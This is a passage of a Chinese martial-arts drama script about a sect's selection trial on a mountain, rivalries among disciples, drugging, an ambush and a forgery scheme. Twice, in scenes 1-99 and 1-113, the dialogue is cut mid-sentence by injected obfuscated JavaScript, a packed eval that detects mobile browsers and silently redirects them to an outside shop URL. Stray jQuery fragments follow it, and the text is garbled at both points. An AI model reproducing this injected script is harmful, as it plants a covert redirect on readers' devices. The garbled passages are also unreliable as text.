陆通:亮子?这家伙不是有老婆吗?怎么还敢打小姑娘的主意?真他妈不要脸! 陆通径直冲了上去,将亮子扑倒在地,跟着一顿拳打脚踢,打得亮子哇哇直叫。 陆通:王八蛋!敢跟踪宁妹妹?老子废了你! 亮子:啊!啊!陆公子,别打了!饶命! 顺儿也折返了回来。 顺儿:少爷,这家伙不是刘管家的小舅子吗? 陆通:没错,正是他!说!你为何要跟踪宁妹妹? 亮子:我……我没有啊! 陆通:老子都看见了,你还敢说没有?老子再问你一遍,为何要跟踪宁妹妹? 顺儿:快说! 亮子:我……我…… 亮子不敢说是受了刘恩庆的指使。 陆通:不肯说是吧?顺儿,把这个混蛋关进小黑屋!在宁妹妹离开咱们陆府之前,不许他出来! 顺儿:是! 1-91 天地会分会,洛宁居住的客房(日,内) 人物:洛宁、陆通、顺儿 得知亮子被抓,洛宁高兴极了。 洛宁:陆通哥哥,你可真了不起,这么快就把那个登徒子给抓住了! 陆通:嘿嘿,小事儿一桩!妹妹请放心,以后那个家伙再也不敢来找你的麻烦了!你在陆府,有什么事,尽管跟我说!有我在,你什么都不用怕! 洛宁:嘻嘻,陆通哥哥,你对我可真好!噢,对了,你刚刚来找我有什么事吗? 陆通:倒也没什么,我见妹妹一个人在家,怕你无聊,想带你出去走走。 洛宁:我答应了银华,在他们回来之前,不出门! 陆通:这样啊,那哥哥我就在屋里陪妹妹说会儿话。 洛宁:好啊!我也正想找个人跟我玩呢! 陆通:哦,妹妹想玩什么?猜拳还是掷骰子? 洛宁:那种东西只有男人才会玩,我一个姑娘家,要是玩这个,别人会笑话我。 陆通:嗯,也是。那你想玩什么? 洛宁:要不咱们来解题好不好? 陆通:解题? 洛宁:我问你答或者你问我答,都行! 陆通:妹妹是客,还是你问我答吧! 洛宁:好啊!让我想想……嗯,听好了!在一个笼子里,有鸡也有兔。其中,头有一百零八个,脚有三百六十只。请问,在这个笼子里,有几只鸡几只兔? 陆通:这…… 洛宁:陆通哥哥,怎么样?你想好了没?答案是什么?快说吧! 陆通:这道题我才学会说话的时候,就已经会解了,只因过去得太久,有些生疏了。你容我再想想! 洛宁:好啊,你快点儿哟!(说着连打了几个哈欠,一副很困的样子) 陆通:(关切地)宁妹妹,你怎么了? 洛宁:唉,还不就是因为那个登徒子!他害得我一夜都没睡好,白天老犯困。 陆通:反正也没什么事,想睡就去睡呗! 洛宁:那这题怎么办? 陆通:等你睡醒了,我再告诉你答案。 洛宁:嗯,也行。 陆通:那我就不打扰妹妹了! 陆通起身离开,等他们走远了,洛宁飞快地锁上门,从窗子里溜出,往陆平川书房的方向去了。 1-92 天地会分会,走廊上(日,外) 人物:陆通、顺儿 陆通边走边抱怨。 陆通:唉,我就不明白了!这鸡和兔为何要关在一个笼子里?就不能分开关吗?这不是没事找事吗? 顺儿:可不是嘛!我觉得洛姑娘给您出这道题,就是没事找事! 陆通:臭小子,你懂什么!人家宁妹妹正是看上了我学识渊博,才会出这么高深的题来考我。 顺儿:少爷,您不是说您自打会说话起,就已经会解这道题了吗? 陆通:对呀! 顺儿:那您快告诉我,答案是什么? 陆通:我不能说,不然的话,你这颗脑袋就白长了。 顺儿:少爷,您是不是也不知道呀? 陆通:我当然知道了!宁妹妹刚说完题目,我的心里就有答案了。只不过,我想考考你。 顺儿:考我? 陆通:对呀,有几只鸡几只兔? 顺儿:这个嘛…… 陆通:还没想出来吗?你可真笨呀! 顺儿:少爷,要不这样,咱们去集市上买些鸡和兔,把它们关在一起,数一数不就知道了? 陆通:说得好!咱们快去吧,一会儿宁妹妹就要醒了! 1-93 农贸市场(日,外) 人物:陆通、顺儿 陆通和顺儿来到集市上,买了鸡和兔,把它们关进一个笼子里。陆通嫌它们太臭,在不远处找了个地方喝茶,让顺儿去数。 陆通:(大声问)顺儿,怎么样?数清楚了没? 顺儿:还没呢少爷!这些小东西不停地动来动去,我连看都看不清楚,怎么数呀? 陆通:你呀你,真是笨死了!唉! 主仆俩折腾了一整天,也没把鸡和兔数明白。 1-94 天地会分会,洛宁居住的客房(日,内) 人物:洛宁、陆通、顺儿 第二天,洛宁又给陆通出了道题。 洛宁:听好了!将一根长三十尺、径一尺的檀香木,先打磨成一颗颗大小不等的圆珠,再做成一条条大小不等的手串,分别给男人、女人和小孩佩戴。请问,最多能做出多少条手串?其中,谁的多做些,谁的少做些,才能保证物尽其用,不浪费一点点木料? 顺儿:(心疼地嘀咕)檀香木?那得花多少钱呀? 陆通:(大声呵斥)臭小子,你谈什么钱呀?谈钱多俗呀!我跟宁妹妹之间,哪里还用得着谈钱呀? 洛宁:陆通哥哥,你们在说什么呀?什么钱不钱的? 陆通:哦,没什么!这小子没见过世面,别理他!宁妹妹,你放心,这道题我一定给你解出来!要不你再去睡会儿?等你一觉醒来,我这道题也解出来了! 洛宁:嘻嘻,陆通哥哥,你可真会心疼人! 陆通走后,洛宁又故技重施,去了陆平川的书房。 1-95 天地会分会,走廊上(日,外) 人物:陆通、顺儿 陆通还是边走边抱怨。 陆通:唉,我就不明白了!这么粗这么长的一根木头,为何要打磨成那么小的珠子?就不能做点儿别的吗? 顺儿:别的什么? 陆通:桌子、椅子、床……什么都行,就是别做成手串。 顺儿:少爷,您要是嫌麻烦,干脆别解了。 陆通:不就是一根木头吗?能有多麻烦呀?就这种题,若搁在过去,我连想都不用想,随口说一个答案,就是对的! 顺儿:那您刚才在洛姑娘面前,怎么没随口说一个呀? 陆通:这么难得的机会,我想留给你。 顺儿:又要考我? 陆通:对呀!这种题对我来说太简单了,不考你考谁呀? 顺儿:唉,罢了。还是那句老话,实践出真知!少爷,咱们去找木匠吧! 1-96 工坊(日,外) 人物:陆通、顺儿、木匠若干 主仆俩来到工坊里,先是找一块同样大小的木料,花了半天的工夫,然后又去找木匠,木匠们一听说这是细活儿,都不肯接,不得已之下,陆通只好付给他们成倍的工钱,这才让他们勉强答应。等手串好不容易做出来时,太阳已经下山了。 1-97 天地会分会,走廊上(日,外) 人物:陆通、顺儿 第三天,陆通来时,洛宁已经睡下,她把题目写在纸上,托小丫鬟转交给陆通。 陆通:(念题)盖一栋上窄下宽的三层小楼,需要多少块砖、多少片瓦、多少根木头?如果将三层改为两层,多出来的砖、瓦和木头,用来盖小院,能盖多大?如果将两层改为一层,多出来的砖、瓦和木头,用来修桥补路,桥有多长、路有多宽? 顺儿:少爷,想解出这道题,就只能再盖一栋楼了。 陆通:(皱着眉头想了想,叹了口气)唉,顺儿,我问你,如果我跟宁妹妹真的成了,她会不会天天出题考我呀? 顺儿:天天出题考您倒也未必,不过她肯定不会让您闲着。 陆通:什么意思? 顺儿:您想想,洛姑娘是何许人也?她那么漂亮,又那么聪明,还多才多艺,她的相公要是太平凡了,哪里配得上她呀? 陆通:嗯,也是。其实我最近一直在想,自打她来了之后,我就没过过一天好日子。与其这样没苦硬吃,还不如去找我的玲玲了! 顺儿:(松了口气)唉,少爷,你要是能早这么想,那该多好呀! 自那之后,陆通便不再纠缠洛宁,二人各忙各的,倒也相安无事。 锦州,落霞山 1-98 落霞山,客栈(日,内) 人物:风无行、陆平川、银华、余守泰、金鹏、刘恩庆、刘立鸿、弟子若干 落霞山的脚下,有一家小小的客栈,风无行、陆平川带着弟子们在这里投宿。 饭后,风无行把弟子们召集到一处。 风无行:你们都是锦州本地的人吧?(弟子们回答都是)既然是本地人,应该都来过这里吧?(弟子们回答都来过)好极了!这样我就用不着担心你们会迷路了。 陆平川:风堂主,你打算让他们怎么比? 风无行:我去丰饶城之前,曾来这里游玩了一番。唉,当时只顾着看美景,竟把扇子落在了山顶的石头缝里,不如你们这就去帮我把它取回来。 陆平川:除了这个,还有吗? 风无行:没有了。我算了下,从这里到山顶,大概要走上一整天,你们现在出发的话,明天早上应该可以到。 陆平川:是让他们分头走、还是一起走? 风无行:一共有二十个人,分成四拨,从东西南北四路上山。这其中,北路和西路离山顶更近,走这两条路的弟子,可以晚半个时辰再出发。 陆平川:带不带刀? 风无行:带一把小刀用来防身,别的就不要带了,免得伤了和气。 陆平川:(对着弟子们)你们听见没?时候不早了,快收拾东西出发吧! 临行前,刘恩庆对弟子们进行分组,以确保每个组里都有年老和年少的弟子,实力相当。金鹏所在的那支队伍,走东边的那条路,刘立鸿所在的那支队伍,走南边的那条路。见他俩不在一个组里,余守泰有些意外,但也十分庆幸。 1-99 落霞山,客栈(日,外) 人物:风无行、陆平川 弟子们走后,风无行和陆平川在院子里摆了张桌子,喝茶下棋。 陆平川:为何要大老远地跑来这里进行决选?就不能以武取胜吗? 风无行:因为这回,是和敬堂选人,不是恩威堂选人。我看重的,不仅仅是他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007355|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的武功。 陆平川:还有什么? 风无行:简而言之,只有两个字。 陆平川:哪两个字? 风无行:武德。 1-100 落霞山,客栈(日,内) 人物:银华、余守泰 余守泰拎着一个竹篮,往外走去。 银华:余大哥,你去哪儿? 余守泰:我去山里挖点儿野菜,晚上给你们包饺子吃。 银华:我跟你一起去! 1-101 落霞山上(日,外) 人物:余守泰、银华 余守泰在挖野菜,银华嘴里叼着一根草叶,跟他闲聊。 银华:余大哥,金鹏和刘立鸿没分在一个组里,你的心里是高兴还是失望呀? 余守泰:我当然很高兴了,不过鹏子像是有点儿失望。 银华:他跟刘立鸿之间是不是有什么过节?为何非要咬住他不放? 余守泰:我们哥俩才来没多久,能跟他有什么过节?不过是练功的时候,我的岁数大了,有点儿跟不上,刘立鸿说了我几句,鹏子的心里不痛快。 银华:你这个岁数,练功的话,也确实有些晚了。如果这回金鹏能通过决选,你是否打算跟他一起去凤凰城呢? 余守泰:当然了!我们兄弟俩在一起这么多年,早就跟一家人没什么分别,不管他去哪儿,我都会跟着。 银华:那你去了之后打算怎么办? 余守泰:这个嘛,我还没想好。不过我听说凤凰城是仅次于京城的大都会,想在那个地方找个活儿干,应该也不难。 银华:我记得你曾经说过,你的祖上是果农? 余守泰:对呀!我家里世代都是果农,我打小也跟着家里的人在园子里干活,只因那场大瘟疫,家里的人都死了、园子也荒掉了,这才出来谋生。 银华:那你会种花吗? 余守泰:种花、种果、种菜,这些都难不倒我。只要给我一片园子,甭管是什么,我都能把它种活了。 银华:你要是有这个本事,就别去外面找活儿干了。总会里正缺一个花匠,辛苦是辛苦,不过一年下来,也能挣不少钱。 余守泰:好啊! 银华:先别急着答应,等金鹏过了决选再说。更何况这件事归洛老大管,你要是真想干的话,就让宁儿跟他说…… 一道黑影自对面掠了过去。 余守泰:什么东西? 银华:嘘!(示意他别说话,用手指了指不远处) 余守泰:(定睛一看)鹿? 银华:嘿嘿,余大哥,今晚咱们有鹿肉吃了。 银华挽弓搭箭,射向那头鹿,鹿似乎有所察觉,四蹄一蹬,跑了。 银华:呀,没射中! 余守泰:要不要追上去? 银华:送上门的美味儿,哪能错过呀! 二人追了上去,鹿钻进一个洞里,不见了。 银华:额,它跑进洞里去了! 余守泰:(脸色突变)洞里? 银华:对呀。 余守泰:银公子,还是您去吧,我就不去了。 银华:怎么了? 余守泰:嘿嘿,说出来不怕您笑话,鹏子小的时候,我为了多挣点儿钱,被人骗去了矿洞里,在那里干了整整一个月的活儿,差点儿连命都丢了。唉,自那之后,我便再不敢进这种地方了。 银华:这样啊。那行!你在外面等着,我去把它带出来。 1-102 落霞山上(日,外) 人物:金鹏、丁六 金鹏的队友,都是分会的老弟子,他们会轻功,走起来像跑、跑起来像飞,很快便将金鹏甩在了后头。为了能追上他们,金鹏不敢歇息,手里拿着干粮,边吃边往前赶。当他穿过一片小树林时,忽闻一阵轰隆声,以为要下雨了,又见远处腾起一团烟雾,心中诧异,决定过去看看。当他赶到那里时,烟雾已经散去,地上堆满了石块。 金鹏:原来是落石。 担心此地不安全,他正打算绕开,却听石堆里传来一个虚弱的声音。 丁六:救……救命! 金鹏吓了一跳,忙过去查看,发现丁六被压在石头下面,身受重伤。 丁六:金……金鹏,快……快救……救我!我……我要不行了! 金鹏:他们呢?没事吧? 丁六:那几个……家伙,见我……受了伤,全……跑了! 金鹏将丁六从石堆里刨了出来,见他伤势不轻,犹豫了一下,对他说。 金鹏:我带你去找大夫! 丁六:那样……的话,会耽误……你去山顶。 金鹏:命要紧!管不了这么多了!(背起丁六,往山下跑去) 1-103 落霞山上(日,外) 人物:金鹏、丁六 担心丁六的伤势,金鹏一路狂奔。 丁六:金……金鹏! 金鹏:怎么了? 丁六:我……对……对不住你! 金鹏:什么? 丁六:复……复选的事,不是我们……不肯……跟……跟你打,而……而是刘立鸿……他……他不许我们……跟你打。 金鹏微微一怔,先是放慢了脚步,又接着往前飞奔。 丁六:兄……兄弟,对……对不住了! 金鹏:你叫我一声兄弟,我就把你当朋友!那件事已经过去了,别再提了! 1-104 落霞山,客栈(日,内) 人物:金鹏、丁六、赵大夫、银华、余守泰 金鹏背着丁六,回到了客栈里。 金鹏:赵大夫,快过来!他受伤了! 看见他俩,众人都十分意外。 银华:金鹏?你怎么回来了? 金鹏:他被山上的落石砸中了,你们快救他! 赵大夫急忙上前施救,银华又接着问金鹏。 银华:怎么只有你一个人?他们几个呢? 金鹏:我不清楚,我到那里时,就只看见了他一个人。 银华:老兄,你回来干嘛?还想不想参加会选了?等你再折返回去,人家早就到山顶了! 金鹏:那也不能见死不救呀!会选的事,以后再说吧! 丁六:(突然扯住金鹏的衣角)金鹏! 金鹏:怎么了,丁大哥? 丁六:刚……刚才那个地方,有……有一条小路,直达……山顶,你……从那里走,能省……省下一半的路程。 银华:真的吗?你怎么知道? 丁六:我以前……在……在这山上……采过药,你……救了我,我不会……骗你!快……快去追上他们! 银华:金鹏!你还愣着干嘛?快去呀! 金鹏:额,好!(转身奔出客栈) 9. 第一篇 贵客来了 锦州,落霞山 1-105 落霞山上(夜,外) 人物:弟子若干 天黑之后,走北边那条路的五个弟子,来到了一处山洞前。 弟子甲:穿过这个山洞,再往前走一段,就是山顶了。 弟子乙:这么说,咱们没准儿能第一个到达山顶? 弟子甲:我原以为决选会比复选更难,没想到却是最容易的。咱们快走吧! 几个人举着火把,走进洞里。 洞里,弥漫着一股恶臭。 众弟子:唔,臭死了!什么味儿? 弟子甲:会不会有死人? 弟子乙:这种地方?倒也有可能。 众人一听,都紧张了起来。 弟子丙:你们瞧!地上有血! 众人低头一看,果不其然,血迹从他们的脚下往前延伸,从最初的几滴,变成了一道道、一片片。 一个弟子吐了出来,另外的几个人也直犯恶心。 就在这时,头顶上传来一阵奇怪的动静,伴随着呜呜咽咽的声音。 几个人哆哆嗦嗦地将火把举过头顶,定睛一看:竟是一头熊,张牙舞爪地朝他们扑了过来。 几个人丢下火把,没命地往外逃去…… 1-106 落霞山上(夜,外) 人物:李保、弟子若干 幸运的是,那头熊并没有追出来。 领头的弟子名叫李保,他率先刹住了脚步。 李保:等等!咱们为何要逃呀? 弟子甲:(上气不接下气)那可是一头熊,不逃就没命了! 李保:可咱们都是天地会的人,又是习武多年的老弟子,如果连一头熊都对付不了,岂不是很丢人? 弟子乙:要不咱们换条路走吧。 李保:那样的话,就更丢人了。 弟子甲:咱们对洞里面的情况不清楚,想要对付那头熊,怕是不太容易。 李保:换条路走的话,就别想第一个到达山顶了。 弟子甲:妈的!又要便宜刘立鸿那个家伙了! 弟子乙:刘恩庆给咱们分的组,他当然知道哪条路最好走了!要我说,他就是故意的! 李保:咱们已经到了这里,眼看着离山顶只剩下一步之遥,这个时候放弃了,还真有些不甘心呢! 弟子甲:那怎么办? 李保:兄弟们,你们想不想当英雄? 弟子甲:当英雄?什么意思? 李保:杀了那头熊,咱们就是英雄了! 弟子甲:会选的事,怎么办? 李保:不管了! 弟子甲:可你刚才还说不甘心呢! 李保:正因为不甘心,才不能空着手回去,要让他们看看,咱们几个并非等闲之辈! 弟子乙:唉,早知道来时,该带上一口大刀嘛! 李保:没有大刀,小刀也行!武都头赤手空拳就能打死一只老虎,咱们有五个人,还怕干不过一头熊吗? 弟子甲:保哥,我跟你一块儿去! 李保:(问另外三个弟子)你们几个呢?不想去的话,可以回去,也可以换条路走。 众弟子:怎样都是输,还不如当个英雄! 李保:好兄弟!咱们走! 五个人一鼓作气,又冲进了山洞里…… 1-107 落霞山上(夜,外) 人物:刘立鸿、弟子若干 刘立鸿所在的那支队伍,一路上都很顺利,眼看着离山顶不远,众人决定停下来稍作休息。 弟子甲:刘大哥,你有酒吗? 刘立鸿:这个地方前不着村、后不着店,哪来什么酒呀! 弟子甲:刘大哥,别以为我不知道,你腰间的那个葫芦里装的根本就不是水,而是酒! 刘立鸿:臭小子,你怎么知道?难不成你喝过? 弟子甲:用不着喝,我一听那声音就知道。 刘立鸿:我说你怎么一路上都盯着我不放呢,弄了半天是在打它的主意。 弟子乙:刘大哥,既然你带了酒,就给咱们大家每人喝一口呗! 弟子丙:是啊!这个时候,能解乏的就只有它了! 刘立鸿:喝醉了怎么办?你们就不怕那扇子被人抢走了? 弟子甲:抢走了咱们再把它抢回来!咱们这支队伍里没有菜鸟,没人会拖咱们的后腿! 弟子乙:是啊!这把扇子除了你之外,谁也拿不到! 刘立鸿:你们呢?不打算跟我抢了? 弟子乙:咱们这几个人里面,就数你的功夫最高。我们帮你拿到扇子,将来你去了总会,也别忘了多关照一下我们! 弟子丙:是啊,这次的会选,只是个幌子,分会里个个都知道!刘大哥,你就别磨叽了,快给咱们喝一口吧! 刘立鸿把葫芦递给他们,看着他们一口接一口,把酒全喝光了。 弟子甲:啧啧,真是好酒! 弟子乙:可不是嘛!这一壶酒喝下去,浑身都舒坦了! 刘立鸿:你们几个打算怎么办?要不要再睡会儿? 众弟子:我们…… 话还没出口,人已经倒在了地上,见他们这样,刘立鸿笑了起来。 刘立鸿:兄弟们,对不住了!我怕你们跟我抢,只好在酒里放了点儿蒙汗药。那把扇子,用不着你们帮我拿,等你们醒来时,我早就拿到了!哈哈哈!(说完撇下众人先走了) 1-108 落霞山上(夜,外) 人物:弟子若干、尖刀帮若干 尖刀帮的人在林子里埋伏到深夜,也没看见金鹏过来。 尖刀帮甲:怎么回事?那家伙怎么还没来? 尖刀帮乙:他们早就出发了,按理说,这会儿也该经过这里了。 尖刀帮丙:刘恩庆那个家伙,该不会在糊弄咱们吧? 正说着,来了三个人,正是跟金鹏同队的那几个弟子。 尖刀帮甲:嘘!别说话!他们来了! 尖刀帮的人瞪大眼睛瞅了半天,也没从这个几人当中发现金鹏的身影。 尖刀帮甲:没有?怎么回事?难不成刘恩庆给咱们的消息是错的? 尖刀帮乙:咱们在这里等了半天,若是空着手回去,肯定又要挨骂。 尖刀帮丙:那怎么办? 尖刀帮甲:唉!要我说,老帮主从来没见过金鹏,哪里会知道他长什么样子? 尖刀帮乙:你的意思是…… 尖刀帮甲:先从这几个人当中,找一个替死鬼。 尖刀帮乙:他们可是天地会的人! 尖刀帮丙:是啊!上回在格斗场,咱们可是吃了大亏…… 尖刀帮甲:上回的事,我打听过了,那家伙是从总会来的,跟他们不一样。更何况,林子这么密,谁知道他们是怎么死的?没准儿是掉下去摔死的呢! 尖刀帮乙:嗯,也是。那咱们就上吧! 尖刀帮的人从林子里冲出,将那三个人团团围住…… 1-109 落霞山,河滩上(日,外) 人物:银华、余守泰、弟子若干 天亮后,银华和余守泰前往小河边洗漱,却意外地发现河滩上躺着几个人,像是溺水了。二人上前一看,顿时吃了一惊。 余守泰:呀,这不是大张兄弟吗? 再看另外几个,竟是走西路的那队弟子。 银华:他们怎么会在这里? 余守泰:(试了下大张的鼻息)还活着! 银华:快把他们救上来! 1-110 落霞山,客栈(日,内) 人物:陆平川、风无行、赵大夫、银华、余守泰、大张、弟子若干 经过赵大夫的救治,大张等人醒了过来。 陆平川:怎么回事?风堂主让你们去爬山,你们跑去河里干嘛? 大张:会长,我们为了赶时间,连夜渡河,却不料突发大水,把咱们几个全冲走了。 银华:这个季节,河水暴涨是常有的事儿,你们连这个都不懂,怎么渡河? 大张:我们只想着赢,哪里顾得上这么多呀! 陆平川:唉,风堂主,你说的没错。如果当初以武取胜的话,他们就不会输得这么惨了! 1-111 落霞山,客栈(日,外) 人物:陆平川、风无行、银华、余守泰、李保、弟子若干 外面传来振奋人心的号子声。众人出去一看,只见走北边那条路的五个弟子,抬着一头熊,雄赳赳气昂昂地回来了。 陆平川:你们这是在干嘛? 李保:会长,您瞧!咱们刚刚猎了一头熊! 陆平川:嗯,干的不错!扇子呢? 李保:扇子? 陆平川:对呀,风堂主的扇子呢? 李保:那个呀…… 弟子甲:会长,是这样的。这头熊挡在了咱们去山顶的必经之路上,不杀它吧,去不了山顶;杀了它吧,误了时辰,同样去不了山顶。思来想去之后,我们几个决定先把它带下来。 陆平川:也就是说,你们几个没拿到扇子? 众弟子:没有。 风无行:这头熊是你们合力围捕的吗? 李保:当然了!风堂主,您也看到了,这头熊的个头儿这么大,一个人根本对付不了! 风无行:(赞许地点点头)你们能在逆境中团结起来,这一点很令人欣慰。 银华:可不是嘛!风堂主,熊的浑身都是宝,熊皮、熊掌、熊胆,甭管哪一样,都比你那把扇子值钱多了!(笑着对李保等人)兄弟们,这回没选上不打紧,回头我跟洛老大说一声,以后他们信义堂选人的时候,一定优先考虑你们几个! 1-112 落霞山上(日,外) 人物:刘立鸿、徐茂、金鹏 天蒙蒙亮时,刘立鸿第一个到达了山顶,并在山顶的石头缝里找到了那把扇子。 刘立鸿:哈哈,太棒了!打今儿起,我就是总会的人了! 他伸手去拿那把扇子,却不料一把刀从背后刺来,正中他的肩膀。刘立鸿疼得大叫一声,回头一看,竟是他的队友徐茂。 刘立鸿:茂子?你……你怎么…… 徐茂:看见我,是不是很意外呀? 刘立鸿:你不是喝了我的酒吗?为何这么快就醒了? 徐茂:喝是喝了,不过也全吐掉了。刘立鸿,咱俩认识这么多年,你是一个什么样的人,我的心里很清楚。你给的酒,他们敢喝,我是不敢喝的。 刘立鸿:你这个混蛋!老子好心好意地请你喝酒,你居然还不领情?刚刚是谁说要帮我拿扇子的? 徐茂:你想进入总会,我们也想啊!求人不如求己,与其指望你来关照我,还不如我自己去了! 刘立鸿:王八蛋!看招! 刘立鸿跟徐茂打了起来,二人都是分会的老弟子,旗鼓相当,一时间难分胜负。就在二人缠斗不休之际,金鹏也抄近路来到了山顶,二人只顾着打,哪里会注意到他。看见石头缝里的那把扇子,金鹏飞快地将它揣进怀里,转身走了。 锦州,丰饶城 1-113 天地会分会,厨房(夜,内) 人物:洛宁、银华、金鹏、余守泰、陆通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007356|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、顺儿 众人在厨房里小聚,庆祝金鹏赢得了会选。 陆通:金鹏,你可真了不起!才来咱们这里几个月,就能力压群雄,成为这次会选最大的赢家。这在咱们分会的过去,还从来没有过呢! 银华:这就好比那个长臂猿,在大家都押黑金刚胜的时候,他却赢了!哈哈! 顺儿:我听九哥说,他们几个原先也能按时赶到山顶,却不料在路上竟然遇上了一帮土匪,手里拿着尖刀,连声招呼都不打,上来就捅人。等他们几个好不容易摆脱了那帮家伙的纠缠,赶到山顶时,却只看见了刘立鸿和徐茂,没看见那把扇子。 银华:金鹏,听见没?你去的不早不晚,正是时候!哈哈! 洛宁:顺儿,你说那帮土匪的手里拿着尖刀?他们走的哪条路? 顺儿:东边的那条路,他们跟金鹏是一队的。 银华:也就是说,如果金鹏没有折返回去的话,兴许也会遇上那帮家伙? 顺儿:对呀!所以说他的运气实在是太好了,连老天爷都在帮他呢! 1-114 天地会分会,风无行居住的客房(日,内) 人物:风无行、洛宁 风无行来到洛宁的对面坐下,给她倒了杯茶。 风无行:那件事怎么样了? 洛宁:没问题。 风无行:没问题? 洛宁:账上的每一笔钱都经得起推敲,无论是收入还是支出,都完全合乎规矩,看不出任何异样。 风无行:这么说,刘恩庆是被冤枉的了? 洛宁:有两种可能。 风无行:说来听听。 洛宁:要么他贪了,要么他没贪。 风无行:如果他贪了,账目就是假的;如果他没贪,匿名信就是假的。 洛宁:没错。 风无行:账上的签名呢?又该如何解释? 洛宁:我有一个想法。 风无行:什么? 洛宁:在刘恩庆的身边,或许有一个极擅伪造之人。 风无行:极擅伪造之人? 洛宁:他能模仿所有人的签名,达到以假乱真的地步。 风无行:(皱起眉头)这样的人,有吗? 洛宁:查一查刘恩庆身边的人,不就知道了。 风无行:(沉思了半晌)这件事到此为止,你别再管了。 洛宁:为何?你不打算往下查了? 风无行:刘恩庆是陆府的管家,在陆会长身边多年,深受他的信任,此事若是捅破了,陆会长的脸上怕是不太好看。 洛宁:所以说,你打算听之任之了? 风无行:钱的事,还是让你哥来决定吧。 1-115 茶铺(日,内) 人物:高明、银华 高明正在路边的茶铺里歇脚,一个穿着灰色衣裳的少年,来到他面前坐下,嘴里嚼着一颗糖。 银华:高先生是吧? 高明:请问你是……? 银华:我听说你的字写的特别好,能帮我写几个吗? 高明:你想写什么? 银华:我这里有一封匿名信,你能帮我照原样抄一份吗? 银华拿出信纸摊开,高明扫了一眼信上的内容,脸色顿时变得煞白…… 1-116 刘恩庆家(夜,内) 人物:刘恩庆及其老婆 刘恩庆从外面回到家里。 刘恩庆:孩儿他娘,我回来了! 刘恩庆的老婆:(笑脸相迎)累了吧?快坐下来歇会儿! 刘恩庆:(进屋坐下,见桌子上摆着一个包裹)咦,这是什么? 刘恩庆的老婆:一个小伙子刚刚送来,说是给你的,我还没来得及打开,也不知里面是什么。 刘恩庆:哦,知道了,你去忙吧。 刘恩庆的老婆转身去了厨房。 刘恩庆喝了口水,打开包裹,里面是个木匣子。 刘恩庆:什么东西? 他用手掂了掂,发现不是特别重,便打开木匣子,往里一瞧,整个人像失了魂一样,一下子瘫倒在地。 木匣子的里面,有一颗血淋淋的人头,正是高明。 锦州,郊外 1-117 马车车厢(日,内) 人物:风无行、洛宁、银华 会选结束,辞别了陆平川,风无行带着众人返回凤凰城。 风无行:唉,终于可以回家了!这丰饶城里的东西,还真让人吃不惯呢! 洛宁:未来姐夫,你是不是又想念我姐烧的菜了? 风无行:想归想,不过你姐交给我的任务,我还没完成呢! 洛宁:唉,又要找我的茬。 风无行:丫头,我发现你自打来了丰饶城之后,整个人至少胖了三圈。 洛宁:怎么可能! 风无行:怎么不可能!你瞧瞧你,前前后后、上上下下、左左右右,全胖了! 洛宁:无行大哥,想克扣我的口粮,你就直说吧。 风无行:唉,你这副样子,回去之后,你姐肯定又要骂我。所以我决定,在接下来的路上,咱们全员斋戒! 银华:等等!风老大,你说什么?全员斋戒? 风无行:对呀,全员斋戒! 银华:她胖了,我又没胖,凭什么让我跟着她一起吃素呀? 洛宁:(不高兴地瞅着银华)银华,我哪里胖了? 银华:哦,这…… 风无行:银华,你能跟着她一起吃肉,就能跟着她一起吃素。有福同享有难同当,这才叫好哥们儿嘛! 10. 第二篇 总会的四个堂 梁州,凤凰城 2-1 天地会总会,恩威堂,顾云飞的屋子(日,外) 人物:顾云飞、洛宁、银华 屋里传来顾云飞的吼声:“棋技这么烂,棋品又这么差,真扫兴!给我出去!”他像拎小鸡一样将洛宁拎出门外,跟着砰地一声关上门。银华也在院子里,见到此景,哈哈大笑。 银华:哈哈,又被赶出来了! 洛宁:(没好气地)不就是下盘棋吗?至于发这么大的火吗?果然是人越老脾气越大呀!银华,等你到了他这把年纪,可千万别像他这样…… 顾云飞:(突然从屋里探出头)说谁呢? 洛宁:(回头一看)呀,吓死我了!你从哪里冒出来的? 顾云飞:你站在我的门外公然说我的坏话,真以为我听不见吗?又或者你是故意这么说、就想让我听见呢? 洛宁:(立马换了副笑脸)嘿嘿,我哪儿敢呢!(搂住顾云飞开始撒娇)云飞大哥,你看我出门这么久,回到家里的第一件事就是来探望你,你瞧你对我多么重要啊! 顾云飞:虚情假意!那是因为你哥没在家,不然的话你才不会这么好心呢! 洛宁:怎么会呢?我向来对云飞大哥你可是一片真心哟! 顾云飞:花言巧语!说吧,想干什么? 洛宁:(可怜巴巴地)云飞大哥,你看我这回来的一路上,一天三顿都是萝卜炒白菜、白菜炒萝卜,连一丁点肉味儿都没闻到。无行大哥他虐待我,不许我吃肉!你瞧瞧把我瘦的,都快成纸片了!我好想念东来顺的烧鸡、西丰源的烤鸭、还有北鼎香的炖鹅呀,你看我的口水都流出来了!云飞大哥,你行行好,带我去下馆子呗! 顾云飞:(试图推开她)想下馆子你自己去! 洛宁:(紧紧地抱住他不撒手)不行啊!被我姐发现了又要关我禁闭,只有你带我去她才不敢说什么。云飞大哥,求求你嘛!求求你带我去嘛! 银华:啧啧,真可怜!洛府的二小姐,想吃顿肉,怎么就这么难呢!唉! 洛宁:(瞪了银华一眼)一边去!(又接着软磨硬泡,小脸在顾云飞的身上来回蹭个不停)云飞大哥,求求你嘛!求求你带我去嘛! 